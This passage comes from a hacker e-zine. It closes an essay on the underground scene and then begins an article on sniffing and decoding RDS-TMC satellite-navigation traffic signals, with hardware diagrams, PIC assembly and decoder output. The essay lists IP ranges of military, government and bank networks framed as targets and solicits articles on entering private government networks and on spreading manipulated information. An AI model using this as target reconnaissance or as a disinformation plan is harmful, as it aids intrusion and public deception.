168.187.255.255 : Kuwait Ministry of Communications 171.19.0.0 - 171.19.255.255 : Ministry of Interior Hungary 164.49.0.0 - 164.49.255.255 : United States Army Space and Strategic Defense 165.27.0.0 - 165.27.255.255 : United States Cellular Telephone 152.152.0.0 - 152.152.255.255 : NATO Headquarters 128.102.0.0 - 128.102.255.255 : NASA 128.149.0.0 - 128.149.255.255 : NASA 128.154.0.0 - 128.154.255.255 : NASA 128.155.0.0 - 128.155.255.255 : NASA 128.156.0.0 - 128.156.255.255 : NASA 128.157.0.0 - 128.157.255.255 : NASA 128.158.0.0 - 128.158.255.255 : NASA 128.159.0.0 - 128.159.255.255 : NASA 128.161.0.0 - 128.161.255.255 : NASA 128.183.0.0 - 128.183.255.255 : NASA 128.217.0.0 - 128.217.255.255 : NASA 129.50.0.0 - 129.50.255.255 : NASA 153.31.0.0 - 153.31.255.255 : FBI Criminal Justice Information Systems 138.137.0.0 - 138.137.255.255 : Navy Regional Data Automation Center 138.141.0.0 - 138.141.255.255 : Navy Regional Data Automation Center 138.143.0.0 - 138.143.255.255 : Navy Regional Data Automation Center 161.104.0.0 - 161.104.255.255 : France Telecom R&D 161.105.0.0 - 161.105.255.255 : France Telecom R&D 161.106.0.0 - 161.106.255.255 : France Telecom R&D 159.217.0.0 - 159.217.255.255 : Alcanet International (Alcatel) 158.190.0.0 - 158.190.255.255 : Credit Agricole 158.191.0.0 - 158.191.255.255 : Credit Agricole 158.192.0.0 - 158.192.255.255 : Credit Agricole 165.32.0.0 - 165.48.255.255 : Bank of America 171.128.0.0 - 171.206.255.255 : Bank of America 167.84.0.0 - 167.84.255.255 : The Chase Manhattan Bank 159.50.0.0 - 159.50.255.255 : Banque Nationale de Paris 159.22.0.0 - 159.22.255.255 : Swiss Federal Military Dept. 163.12.0.0 - 163.12.255.255 : navy aviation supply office 163.249.0.0 - 163.249.255.255 : Commanding Officer Navy Ships Parts 164.94.0.0 - 164.94.255.255 : Navy Personnel Research 164.224.0.0 - 164.224.255.255 : Secretary of the Navy 34.0.0.0 - 34.255.255.255 : Halliburton Company 139.121.0.0 - 139.121.255.255 : Science Applications International Corporation ... The last one is definitely interesting; people interested by obscure technologies should investigate in-depth SAIC stuff... But anyway this list is rough and incomplete. We have a lot more interesting ranges but not yet classed. It's just to show you how easy it is to obtain. If you think that the idea is funny, send us your range. We would be pleased to include your range in our list. The idea is to offer the more complete list we can for the next Phrack release. ----[ 5.4. The axis of knowledge I'm sure that everyone knows "the axis of evil". This sensational expression was coined some years ago by Mr. Bush to group wicked countries (but was it really invented by the "president" or by m1st3r Karl Rove??). We could use the same expression to name the evil subjects that we would like to have in Phrack. But I will leave to Mr Powerful Bush his expression and find a more noble one : The Axis of Knowledge. So what is it about? Just list some topics that we would like to find more often in Phrack. In the past years, Phrack was mainly focused on exploitation, shellcode, kernel and reverse engineering. I'm not saying that this was not interesting, I'm saying that we need to diversify the articles of Phrack. Everyone agrees that we must know the advances in heap exploitation but we should also know how to exploit new technologies. ------[ 5.4.1 New Technologies To illustrate my point, we can take a quote from Phrack 62, the profiling of Scut: Q: What suggestions do you have for Phrack? A: For the article topics, I personally would like to see more articles on upcoming technologies to exploit, such as SOAP, web services, .NET, etc. We think he was right. We need more article on upcoming technology. Hackers have to stay up to date. Low level hacking is interesting but we also need to adapt ourselves to new technologies. It could include: RFID, Web2, GPS, Galileo, GSM, UMTS, Grid Computing, Smartdust system. Also, since the name Phrack is a combination between Phreack and Hack, having more articles related to Phreacking would be great. If you have a look to all the Phrack issues from 1 to 30, the majority of articles talked about Phreacking. And Phreacking and new technologies are closely connected. ------[ 5.4.2 Hidden and private networks We would like to have a detailed or at least an introduction to private networks used by governments. It includes: * Cyber Security Knowledge Transfer Network (KTN) http://ktn.globalwatchonline.com * Unclassified but Sensitive Internet Protocol Router Network and The Secret IP Router Network (SIPRN) http://www.disa.mil/main/prodsol/data.html * GOVNET http://www.govnet.state.vt.us/ * Advanced Technology Demonstration Network http://www.atd.net/ * Global Information Grid (GIG) http://www.nsa.gov/ia/industry/gig.cfm?MenuID=10.3.2.2 ... There are a lot private networks in the world and some are not documented. What we want to know is: how they are implemented, who is using them, which protocols are being used (is it ATM, SONET...?), is there a way to access them through the Internet, .... If you have any information to share on these networks, we would be very interested to hear from you. ------[ 5.4.3 Information warfare Information warfare is probably one of the most interesting upcoming subjects in recent years. Information is present everywhere and the one who controls the information will be the master. USA already understands this well, China too, but some countries are still late. Especially in Europe. Some websites are already specialized in information warfare like IWS the Information Warfare Site (http://www.iwar.org.uk) You can also find some schools across the world which are specialized in information warfare. We, hackers, can use our knowledge and ingeniousness to do something in this domain. Let me give you two examples. The first one is Black Hat SEO (http://www.blackhatseo.com/). This subject is really interesting because it combines a lot of subjects like development, hacking, social engineering, linguistics, artificial intelligence and even marketing. These techniques can be use in Information Warfare and we would like the Underground to know more about this subject. Second example, in a document entitled "Who is n3td3v?" the author (hacker factor) use linguistic techniques in order to identify n3td3v. After having analyzed n3td3v's text, the author claims that n3td3v and Gobbles are probably the same person. N3td3v's answer was to say that he has an A.I. program allowing him to generate a text automatically. If he wants to sound like George Bush, he has simply to find a lots of articles by him, give these texts to his A.I. and the AI program will build a model representing the way that George Bush write. Once the model created, he can give a text to the A.I. and this text will be translated in "George Bush Speaking". Author's answer (hacker factor) was to say it's not possible. For working in text-mining, I can tell you that it's possible. The majority of people working in the academic area are blind and when you come to them with innovative techniques, they generally say you that you are a dreamer. A simple implementation can be realized quickly with the use of a grammar (that you can even induct automatically), a thesaurus and markov chains. Add some home made rules and you can have a small system to modify a text. An idea could be to release a tool like this (the binary, not the source). I already have the title for an article : "Defeating forensic: how to cover your says" ! More generally, in information warfare, interesting subjects could be: * Innovative information retrieval techniques * Automatic diffusion of manipulated information * Tracking of manipulated information Military and advanced centers like DARPA are already interested in these topics. We don't have to let governments have the monopoly on these areas. I'm sure we can do much better than governments. ------[ 5.4.4 Spying System Everyone knows ECHELON, it's probably the most documented spying system in the world. Unfortunately, the majority of the information that you can find on ECHELON is where ECHELON bases in the world are. There is nothing about how they manipulate data. It's evident that they are using some data-mining techniques like speech recognition, text-cleaning, topic classification, name entity recognition sentiment detection and so on. For this they could use their own software or maybe they are using some commercial software like: Retrievalware from Convera : http://www.convera.com/solutions/retrievalware/Default.aspx Inxight's products: http://www.inxight.com/products/ "Minority Report" like system visualization: http://starlight.pnl.gov/ ... For now we are like Socrates, all we know is that we know nothing. Nothing about how they process data. But we are very interested to know. In the same vein, we would like to know more on Narus (http://www.narus.com/), which could be used as the successor of CARNIVORE which was the FBI's tools to intercept electronic data. Which countries use Narus, where it is installed, how is Narus processing information... Actually any system which is supposed to spy on us is interesting. --[ 6. Conclusion I'm reaching the end of my subject. Like with every articles some people will agree with the content and some not. I'm probably not the best person for talking about the Underground but I tried to resume in this text all the interesting discussions I had for several years with a lot of people. I tried to analyze the past and present scene and to give you a snapshot as accurate as possible. I'm not entirely satisfied, there's a lot more to say. But if this article can already make you thinking about the current scene or the Underground in general, that means that we are on the good way. The most important thing to retain is the need to get back the Underground spirit. The world changes, people change, the security world changes but the Underground has to keep its spirit, the spirit which characterized it in the past. I gave you some ideas about how we could do it, but there are much more ideas in 10000 heads than in one. Anyone who worry about the current scene is invited to give his opinion about how we could do it. So let's go for the wakeup of the Underground. THE wakeup. A wakeup to show to the world that the Underground is not dead. That it will never die, that it is still alive and for a long time. Thats the responsibility of all hackers around the world. ==Phrack Inc.== Volume 0x0c, Issue 0x40, Phile #0x05 of 0x11 |=-----------------------------------------------------------------------=| |=----------------------=[ Hijacking RDS-TMC Traffic ]=------------------=| |=----------------------=[ Information signal ]=------------------=| |=-----------------------------------------------------------------------=| |=-----------------------------------------------------------------------=| |=-----------------=[ By Andrea "lcars" Barisani ]=--------------=| |=-----------------=[ ]=--------------=| |=-----------------=[ ]=--------------=| |=-----------------=[ Daniele "danbia" Bianco ]=--------------=| |=-----------------=[ ]=--------------=| |=-----------------------------------------------------------------------=| --[ Contents 1. - Introduction 2. - Motivation 3. - RDS 4. - RDS-TMC 2. - Sniffing circuitry 4. - Simple RDS Decoder v0.1 5. - Links --[ 1. Introduction Modern Satellite Navigation systems use a recently developed standard called RDS-TMC (Radio Data System - Traffic Message Channel) for receiving traffic information over FM broadcast. The protocol allows communication of traffic events such as accidents and queues. If information affects the current route plotted by the user the information is used for calculating and suggesting detours and alternate routes. We are going to show how to receive and decode RDS-TMC packets using cheap homemade hardware, the goal is understanding the protocol so that eventually we may show how trivial it is to inject false information. We also include the first release of our Simple RDS Decoder (srdsd is the lazy name) which as far as we know is the first open source tool available which tries to fully decode RDS-TMC messages. It's not restricted to RDS-TMC since it also performs basic decoding of RDS messages. The second part of the article will cover transmission of RDS-TMC messages, satellite navigator hacking via TMC and its impact for social engineering attacks. --[ 2. Motivation RDS has primarily been used for displaying broadcasting station names on FM radios and give alternate frequencies, there has been little value other than pure research and fun in hijacking it to display custom messages. However, with the recent introduction of RDS-TMC throughout Europe we are seeing valuable data being transmitted over FM that actively affects SatNav operations and eventually the driver's route choice. This can have very important social engineering consequences. Additionally, RDS-TMC messages can be an attack vector against SatNav parsing capabilities. Considering the increasing importance of these system's role in car operation (which are no longer strictly limited to route plotting anymore) and their human interaction they represent an interesting target combined with the "cleartext" and un-authenticated nature of RDS/RDS-TMC messages. We'll explore the security aspects in Part II. --[ 3. RDS The Radio Data System standard is widely adopted on pretty much every modern FM radio, 99.9% of all car FM radio models feature RDS nowadays. The standard is used for transmitting data over FM broadcasts and RDS-TMC is a subset of the type of messages it can handle. The RDS standard is described in the European Standard 50067. The most recognizable data transmitted over RDS is the station name which is often shown on your radio display, other information include alternate frequencies for the station (that can be tried when the signal is lost), descriptive information about the program type, traffic announcements (most radio can be set up to interrupt CD and/or tape playing and switch to radio when a traffic announcement is detected), time and date and many more including TMC messages. In a FM transmission the RDS signal is transmitted on a 57k subcarrier in order to separate the data channel from the Mono and/or Stereo audio. FM Spectrum: Mono Pilot Tone Stereo (L-R) RDS Signal ^ ^ ^ ^ ^^ |||||||||| | |||||||||| |||||||||| || |||||||||| | |||||||||| |||||||||| || |||||||||| | |||||||||| |||||||||| || |||||||||| | |||||||||| |||||||||| || |||||||||| | |||||||||| |||||||||| || -------------------------------------------------------------------------- 19k 23k 38k 53k 57k Freq (Hz) The RDS signal is sampled against a clock frequency of 1.11875 kHz, this means that the data rate is 1187.5 bit/s (with a maximum deviation of +/- 0.125 bit/s). The wave amplitude is decoded in a binary representation so the actual data stream will be friendly '1' and '0'. The RDS smallest "packet" is called a Block, 4 Blocks represent a Group. Each Block has 26 bits of information making a Group 104 bits large. Group structure (104 bits): --------------------------------------- | Block 1 | Block 2 | Block 3 | Block 4 | --------------------------------------- Block structure (26 bits): ---------------- --------------------- | Data (16 bits) | Checkword (10 bits) | ---------------- --------------------- The Checkword is a checksum included in every Block computed for error protection, the very nature of analog radio transmission introduces many errors in data streams. The algorithm used is fully specified in the standard and it doesn't concern us for the moment. Here's a representation of the most basic RDS Group: Block 1: --------------------- PI code = 16 bits | PI code | Checkword | Checkword = 10 bits --------------------- Block 2: Group code = 4 bits B0 = 1 bit --------------------------------------------------- TP = 1 bit | Group code | B0 | TP | PTY | <5 bits> | Checkword | PTY = 5 bits --------------------------------------------------- Checkword = 10 bits Block 3: ------------------ Data = 16 bits | Data | Checkword | Checkword = 10 bits ------------------ Block 4: ------------------ Data = 16 bits | Data | Checkword | Checkword = 10 bits ------------------ The PI code is the Programme Identification code, it identifies the radio station that's transmitting the message. Every broadcaster has a unique assigned code. The Group code identifies the type of message being transmitted as RDS can be used for transmitting several different message formats. Type 0A (00000) and 0B (00001) for instance are used for tuning information. RDS-TMC messages are transmitted in 8A (10000) groups. Depending on the Group type the remaining 5 bits of Block 2 and the Data part of Block 3 and Block 4 are used according to the relevant Group specification. The 'B0' bit is the version code, '0' stands for RDS version A, '1' stands for RDS version B. The TP bit stands for Traffic Programme and identifies if the station is capable of sending traffic announcements (in combination with the TA code present in 0A, 0B, 14B, 15B type messages), it has nothing to do with RDS-TMC and it refers to audio traffic announcements only. The PTY code is used for describing the Programme Type, for instance code 1 (converted in decimal from its binary representation) is 'News' while code 4 is 'Sport'. --[ 4. RDS-TMC Traffic Message Channel packets carry information about traffic events, their location and the duration of the event. A number of lookup tables are being used to correlate event codes to their description and location codes to the GPS coordinates, those tables are expected to be present in our SatNav memory. The RDS-TMC standard is described in International Standard (ISO) 14819-1. All the most recent SatNav systems supports RDS-TMC to some degree, some systems requires purchase of an external antenna in order to correctly receive the signal, modern ones integrated in the car cockpit uses the existing FM antenna used by the radio system. The interface of the SatNav allows display of the list of received messages and prompts detours upon events that affect the current route. TMC packets are transmitted as type 8A (10000) Groups and they can be divided in two categories: Single Group messages and Multi Group messages. Single Group messages have bit number 13 of Block 2 set to '1', Multi Group messages have bit number 13 of Block 2 set to '0'. Here's a Single Group RDS-TMC message: Block 1: --------------------- PI code = 16 bits | PI code | Checkword | Checkword = 10 bits --------------------- Block 2: Group code = 4 bits B0 = 1 bit ----------------------------------------------------- TP = 1 bit | Group code | B0 | TP | PTY | T | F | DP | Checkword | PTY = 5 bits ----------------------------------------------------- Checkword = 10 bits T = 1 bit DP = 3 bits F = 1 bit Block 3: D = 1 bit PN = 1 bit ------------------------------------- Extent = 3 bits | D | PN | Extent | Event | Checkword | Event = 11 bits ------------------------------------- Checkword = 10 bits Block 4: ---------------------- Location = 16 bits | Location | Checkword | Checkword = 10 bits ---------------------- We can see the usual data which we already discussed for RDS as well as new information (the <5 bits> are now described). We already mentioned the 'F' bit, it's bit number 13 of Block 2 and it identifies the message as a Single Group (F = 1) or Multi Group (F = 0). The 'T', 'F' and 'D' bits are used in Multi Group messages for identifying if this is the first group (TFD = 001) or a subsequent group (TFD = 000) in the stream. The 'DP' bit stands for duration and persistence, it contains information about the timeframe of the traffic event so that the client can automatically flush old ones. The 'D' bit tells the SatNav if diversion advice needs to be prompted or not. The 'PN' bit (Positive/Negative) indicates the direction of queue events, it's opposite to the road direction since it represent the direction of the growth of a queue (or any directional event). The 'Extent' data shows the extension of the current event, it is measured in terms of nearby Location Table entries. The 'Event' part contains the 11 bit Event code, which is looked up on the local Event Code table stored on the SatNav memory. The 'Location' part contains the 16 bit Location code which is looked up against the Location Table database, also stored on your SatNav memory, some countries allow a free download of the Location Table database (like Italy[1]). Multi Group messages are a sequence of two or more 8A groups and can contain additional information such as speed limit advices and supplementary information. --[ 5. Sniffing circuitry Sniffing RDS traffic basically requires three components: 1. FM radio with MPX output 2. RDS signal demodulator 3. RDS protocol decoder The first element is a FM radio receiver capable of giving us a signal that has not already been demodulated in its different components since we need access to the RDS subcarrier (and an audio only output would do no good). This kind of "raw" signal is called MPX (Multiplex). The easiest way to get such signal is to buy a standard PCI Video card that carries a tuner which has a MPX pin that we can hook to. One of these tuners is Philips FM1216[2] (available in different "flavours", they all do the trick) which provides pin 25 for this purpose. It's relatively easy to identify a PCI Video card that uses this tuner, we used the WinFast DV2000. An extensive database[3] is available. Once we get the MPX signal it can then be connect to a RDS signal demodulator which will perform the de-modulation and gives us parsable data. Our choice is ST Microelectronics TDA7330B[4], a commercially available chip used in most radio capable of RDS de-modulation. Another possibility could be the Philips SAA6579[5], it offers the same functionality of the TDA7330, pinning might differ. Finally we use custom PIC (Peripheral Interface Controller) for preparing and sending the information generated by the TDA7330 to something that we can understand and use, like a standard serial port. The PIC brings DATA, QUAL and CLOCK from demodulator and "creates" a stream good enough to be sent to the serial port. Our PIC uses only two pins of the serial port (RX - RTS), it prints out ascii '0' and '1' clocked at 19200 baud rate with one start bit and two stop bits, no parity bit is used. As you can see the PIC makes our life easier, in order to see the raw stream we only have to connect the circuit and attach a terminal to the serial port, no particular driver is needed. The PIC we use is a PIC 16F84, this microcontroller is cheap and easy to work with (its assembly has only 35 instructions), furthermore a programmer for setting up the chip can be easily bought or assembled. If you want to build your own programmer a good choice would be uJDM[6], it's one of the simplest PIC programmers available (it is a variation of the famous JDM programmer). At last we need to convert signals from the PIC to RS232 compatible signal levels. This is needed because the PIC and other integrated circuits works under TTL (Transistor to Transistor Logic - 0V/+5V), whereas serial port signal levels are -12V/+12V. The easiest approach for converting the signal is using a Maxim RS-232[7]. It is a specialized driver and receiver integrated circuit used to convert between TTL logic levels and RS-232 compatible signal levels. Here's the diagram of the setup: \ / \ / | | | [ RDS - Demodulator ] | *diagram* ______________[ ]__ |- || |=- |- || F T |=- |- || M U |=- P |- || 1 N |=- C |- || 2 E |=- I |- || 1 R |=- |- || 6 |=- 1 _______ 20 B | ||________|=- --------> MPX ---> MUXIN -|. U |- u |- | pin 25 -| |- s |- | AF sound output -| T |- |- | -| D |- |- | -| A |- |- | -| 7 |- |- | -| 3 |- QUAL______ |- | -| 3 |- DATA____ | |- | -| 0 |- CLOCK_ | | |___________________| -|_______|- | | V 10 11 | V | _______________________________________________________________V | | | ___________________________________________________________| | | ___|_____________________________________________________________| | | | | | | 1 _______ 18 V | V x -|. u |- -> data out (to rs232)______________ | V | x -| |- -> rts out (to rs232)____________ | | | _| x -| 1 |- <- osc1 / clkin | | | | | MCLR -> -| 6 |- -> OSC2 / CLKOUT | V | | | Vss (gnd) -> -| F |- <- Vdd (+5V) V | | | |_____ DATA -> -| 8 |- x | | | |_______ QUAL -> -| 4 |- x | | |________ CLOCK -> -| |- x | | x -|_______|- x | | 9 10 | | ______________________________ | | Serial Port | 1 _______ 16 | | | (DB9 connector) | -|. U |- ^ | | ______________ | -| |- | | | | RX - pin2 | | -| R |- RTS _| | | ____V________ | | -| S |- V | | . o . . . | | | -| 2 |- | V \ . o . . / | | -| 3 |- <- _____| | --------- |_________|____ <- DATA -| 2 |- <- _______| ^ RTS - pin 7 | -|_______|- |_______________________| 8 9 Here's the commented assembler code for our PIC: ; ; Copyright 2007 Andrea Barisani ; Daniele Bianco ; ; Permission to use, copy, modify, and distribute this software for any ; purpose with or without fee is hereby granted, provided that the above ; copyright notice and this permission notice appear in all copies. ; ; THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES ; WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF ; MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ; ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES ; WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ; ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF ; OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. ; ; Pin diagram: ; ; 1 _______ 18 ; x -|. U |- -> DATA out (to RS232) ; x -| |- -> RTS out (to RS232) ; x -| 1 |- <- OSC1 / CLKIN ; MCLR -> -| 6 |- -> OSC2 / CLKOUT ; Vss (gnd) -> -| F |- <- Vdd (+5V) ; DATA -> -| 8 |- x ; QUAL -> -| 4 |- x ; CLOCK -> -| |- x ; x -|_______|- x ; 9 10 ; ; Connection description: ; ; pin 4 : MCLR (it must be connected to Vdd through a resistor ; to prevent PIC reset - 10K is a good resistor) ; pin 5 : Vss (directly connected to gnd) ; ; pin 6 : DATA input (directly connected to RDS demodulator DATA out) ; pin 7 : QUAL input (directly connected to RDS demodulator QUAL out) ; pin 8 : CLOCK input (directly connected to RDS demodulator CLOCK out) ; ; pin 14: Vdd (directly connected to +5V) ; pin 15: OSC2 / CLKOUT (connected to an 2.4576 MHz oscillator crystal* ) ; pin 16: OSC1 / CLKIN (connected to an 2.4576 MHz oscillator crystal* ) ; ; pin 17: RTS output (RS232 - ''RTS'' pin 7 on DB9 connector** ) ; pin 18: DATA output (RS232 - ''RX'' pin 2 on DB9 connector** ) ; ; pin 1,2,3,9,10,11,12,13: unused ; ; *) ; We can connect the oscillator crystal to the PIC using this simple ; circuit: ; ; C1 (15-33 pF) ; ____||____ ______ OSC1 / CLKIN ; | || | ; | ___ ; gnd ---| = XTAL (2.4576 MHz) ; | --- ; |____||____|______ ; || OSC2 / CLKOUT ; C2 (15-33 pF) ; **) ; We have to convert signals TTL <-> RS232 before we send/receive them ; to/from the serial port. ; Serial terminal configuration: ; 8-N-2 (8 data bits - No parity - 2 stop bits) ; ; HARDWARE CONF ----------------------- PROCESSOR 16f84 RADIX DEC INCLUDE "p16f84.inc" ERRORLEVEL -302 ; suppress warnings for bank1 __CONFIG 1111111110001b ; Code Protection disabled ; Power Up Timer enabled ; WatchDog Timer disabled ; Oscillator type XT ; ------------------------------------- ; DEFINE ------------------------------ #define Bank0 bcf STATUS, RP0 ; activates bank 0 #define Bank1 bsf STATUS, RP0 ; activates bank 1 #define Send_0 bcf PORTA, 1 ; send 0 to RS232 RX #define Send_1 bsf PORTA, 1 ; send 1 to RS232 RX #define Skip_if_C btfss STATUS, C ; skip if C FLAG is set #define RTS PORTA, 0 ; RTS pin RA0 #define RX PORTA, 1 ; RX pin RA1 #define DATA PORTB, 0 ; DATA pin RB0 #define QUAL PORTB, 1 ; QUAL pin RB1 #define CLOCK PORTB, 2 ; CLOCK pin RB2 RS232_data equ 0x0C ; char to transmit to RS232 BIT_counter equ 0x0D ; n. of bits to transmit to RS232 RAW_data equ 0x0E ; RAW data (from RDS demodulator) dummy_counter equ 0x0F ; dummy counter... used for delays ; ------------------------------------- ; BEGIN PROGRAM CODE ------------------ ORG 000h InitPort Bank1 ; select bank 1 movlw 00000000b ; RA0-RA4 output movwf TRISA ; movlw 00000111b ; RB0-RB2 input / RB3-RB7 output movwf TRISB ; Bank0 ; select bank 0 movlw 00000010b ; set voltage at -12V to RS232 ''RX'' movwf PORTA ; Main btfsc CLOCK ; wait for clock edge (high -> low) goto Main ; movfw PORTB ; andlw 00000011b ; reads levels on PORTB and send movwf RAW_data ; data to RS232 call RS232_Tx ; btfss CLOCK ; wait for clock edge (low -> high) goto $-1 ; goto Main RS232_Tx ; RS232 (19200 baud rate) 8-N-2 ; 1 start+8 data+2 stop - No parity btfsc RAW_data,1 goto Good_qual goto Bad_qual Good_qual ; movlw 00000001b ; andwf RAW_data,w ; good quality signal iorlw '0' ; sends '0' or '1' to RS232 movwf RS232_data ; goto Char_Tx Bad_qual ; movlw 00000001b ; andwf RAW_data,w ; bad quality signal iorlw '*' ; sends '*' or '+' to RS232 movwf RS232_data ; Char_Tx movlw 9 ; (8 bits to transmit) movwf BIT_counter ; BIT_counter = n. bits + 1 call StartBit ; sends start bit Send_loop decfsz BIT_counter, f ; sends all data bits contained in goto Send_data_bit ; RS232_data call StopBit ; sends 2 stop bit and returns to Main Send_1 goto Delay16 StartBit Send_0 nop nop goto Delay16 StopBit nop nop nop nop nop Send_1 call Delay8 goto Delay16 Send_0_ Send_0 goto Delay16 Send_1_ nop Send_1 goto Delay16 Send_data_bit rrf RS232_data, f ; result of rotation is saved in Skip_if_C ; C FLAG, so skip if FLAG is set goto Send_zero call Send_1_ goto Send_loop Send_zero call Send_0_ goto Send_loop ; ; 4 / clock = ''normal'' instruction period (1 machine cycle ) ; 8 / clock = ''branch'' instruction period (2 machine cycles) ; ; clock normal instr. branch instr. ; 2.4576 MHz 1.6276 us 3.2552 us ; Delay16 movlw 2 ; dummy cycle, movwf dummy_counter ; used only to get correct delay ; for timing. decfsz dummy_counter,f ; goto $-1 ; Total delay: 8 machine cycles nop ; ( 1 + 1 + 1 + 2 + 2 + 1 = 8 ) Delay8 movlw 2 ; dummy cycle, movwf dummy_counter ; used only to get correct delay ; for timing. decfsz dummy_counter,f ; goto $-1 ; Total delay: 7 machine cycles ; ( 1 + 1 + 1 + 2 + 2 = 7 ) Delay1 nop RETURN ; unique return point END ; END PROGRAM CODE -------------------- Using the circuit we assembled we can "sniff" RDS traffic directly on the serial port using screen, minicom or whatever terminal app you like. You should configure your terminal before attaching it to the serial port, the settings are 19200 baud rate, 8 data bits, 2 stop bits, no parity. # stty -F /dev/ttyS0 19200 cs8 cstopb -parenb speed 19200 baud; rows 0; columns 0; line = 0; intr = ^C; quit = ^\; erase = ^?; kill = ^H; eof = ^D; eol = ; eol2 = ; swtch = ; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; flush = ^O; min = 100; time = 2; -parenb -parodd cs8 -hupcl cstopb cread clocal crtscts -ignbrk brkint ignpar -parmrk -inpck -istrip -inlcr -igncr -icrnl -ixon -ixoff -iuclc -ixany -imaxbel -iutf8 -opost -olcuc -ocrnl -onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0 -isig -icanon iexten -echo echoe echok -echonl -noflsh -xcase -tostop -echoprt echoctl echoke # screen /dev/ttyS0 19200 1010100100001100000000101000*000101001+11101111011111111110000001011011100 10101001++000001100101100*110100101001000011000000111010000100101001111111 0011101100010011000100000+000000000 ... As you can see we get '0' and '1' as well as '*' and '+', this is because the circuit estimates the quality of the signal. '*' and '+' are bad quality '0' and '1' data. We ignore bad data and only accept good quality. Bad quality data should be ignored, and if you see a relevant amount of '*' and '+' in your stream verify the tuner settings. In order to identify the beginning of an RDS message and find the right offset we "lock" against the PI code, which is present at the beginning of every RDS group. PI codes for every FM radio station are publicly available on the Internet, if you know the frequency you are listening to then you can figure out the PI code and look for it. If you have no clue about what the PI code might be a way for finding it out is seeking the most recurring 16 bit string, which is likely to be the PI code. Here's a single raw RDS Group with PI 5401 (hexadecimal conversion of 101010000000001): 01010100000000011111011001000001000010100011001011000000001000010100000011001001010010010000010001101110 Let's separate the different sections: 0101010000000001 1111011001 0000 01 0 0001 01000 1100101100 0000001000010100 0000110010 0101001001000001 0001101110 PI code Checkword Group B0 TP PTY <5 bits> Checkword Data Checkword Data Checkword So we can isolate and identify RDS messages, now you can either parse them visually by reading the specs (not a very scalable way we might say) or use a tool like our Simple RDS Decoder. --[ 10. Simple RDS Decoder 0.1 The tool parses basic RDS messages and 0A Group (more Group decoding will be implemented in future versions) and performs full decoding of Single group RDS-TMC messages (Multi Group support is also planned for future releases). Here's the basic usage: # ./srdsd -h Simple RDS-TMC Decoder 0.1 || http://dev.inversepath.com/rds Copyright 2007 Andrea Barisani || Usage: ./srdsd.pl [-h|-H|-P|-t] [-d ] [-p ] -t display only tmc packets -H HTML output (outputs to /tmp/rds-*.html) -p PI number -P PI search -d location db path -h this help Note: -d option expects a DAT Location Table code according to TMCF-LT-EF-MFF-v06 standard (2005/05/11) As we mentioned the first step is finding the PI for your RDS stream, if you don't know it already you can use '-P' option: # ./srdsd -P rds_dump.raw | tail 0010000110000000: 4140 (2180) 1000011000000001: 4146 (8601) 0001100000000101: 4158 (1805) 1001000011000000: 4160 (90c0) 0000110000000010: 4163 (0c02) 0110000000010100: 4163 (6014) 0011000000001010: 4164 (300a) 0100100001100000: 4167 (4860) 1010010000110000: 4172 (a430) 0101001000011000: 4185 (5218) Here 5218 looks like a reasonable candidate being the most recurrent string. Let's try it: # ./srdsd -p 5218 -d ~/loc_db/ rds_dump.raw Reading TMC Location Table at ~/loc_db/: parsing NAMES: 13135 entries parsing ROADS: 1011 entries parsing SEGMENTS: 15 entries parsing POINTS: 12501 entries done. Got RDS message (frame 1) Programme Identification: 0101001000011000 (5218) Group type code/version: 0000/0 (0A - Tuning) Traffic Program: 1 Programme Type: 01001 (9 - Varied Speech) Block 2: 01110 Block 3: 1111100000010110 Block 4: 0011000000110010 Decoded 0A group: Traffic Announcement: 0 Music Speech switch: 0 Decoder Identification control: 110 (Artificial Head / PS char 5,6) Alternative Frequencies: 11111000, 00010110 (112.3, 89.7) Programme Service name: 0011000000110010 (02) Collected PSN: 02 ... Got RDS message (frame 76) Programme Identification: 0101001000011000 (5218) Group type code/version: 1000/0 (8A - TMC) Traffic Program: 1 Programme Type: 01001 (9 - Varied Speech) Block 2: 01000 Block 3: 0101100001110011 Block 4: 0000110000001100 Decoded 8A group: Bit X4: 0 (User message) Bit X3: 1 (Single-group message) Duration and Persistence: 000 (no explicit duration given) Diversion advice: 0 Direction: 1 (-) Extent: 011 (3) Event: 00001110011 (115 - slow traffic (with average speeds Q)) Location: 0000110000001100 (3084) Decoded Location: Location code type: POINT Name ID: 11013 (Sv. Grande Raccordo Anulare) Road code: 266 (Roma-Ss16) GPS: 41.98449 N 12.49321 E Link: http://maps.google.com/maps?ll=41.98449,12.49321&spn=0.3,0.3&q=41.98449,12.49321 ...and so on. The 'Collected PSN' variable holds all the character of Programme Service name seen so far, this way we can track (just like RDS FM Radio do) the name of the station: # ./srdsd -p 5201 rds_dump.raw | grep "Collected PSN" | head Collected PSN: DI Collected PSN: DIO1 Collected PSN: DIO1 Collected PSN: RADIO1 Collected PSN: RADIO1 Check out '-H' switch for html'ized output in /tmp (which can be useful for directly following the Google Map links). We also have a version that plots all the traffic on Google Map using their API, if you are interested in it just email us. Have fun. --[ I. References [1] - Italian RDS-TMC Location Table Database https://www2.ilportaledellautomobilista.it/info/infofree?idUser=1&idBody=14 [2] - Philips FM1216 DataSheet http://pvr.sourceforge.net/FM1216.pdf [3] - PVR Hardware Database http://pvrhw.goldfish.org [4] - SGS-Thompson Microelectronics TDA7330 http://www.datasheetcatalog.com/datasheets_pdf/T/D/A/7/TDA7330.shtml [5] - Philips SAA6579 http://www.datasheetcatalog.com/datasheets_pdf/S/A/A/6/SAA6579.shtml [6] - uJDM PIC Programmer http://www.semis.demon.co.uk/uJDM/uJDMmain.htm [7] - Maxim RS-232 http://www.maxim-ic.com/getds.cfm?qv_pk=1798&ln=en [8] - Xcircuit http://xcircuit.ece.jhu.edu --[ II. Code Code also available at http://dev.inversepath.com/rds/ <++> Simple RDS Decoder 0.1 - srdsd.uue begin 644 srdsd 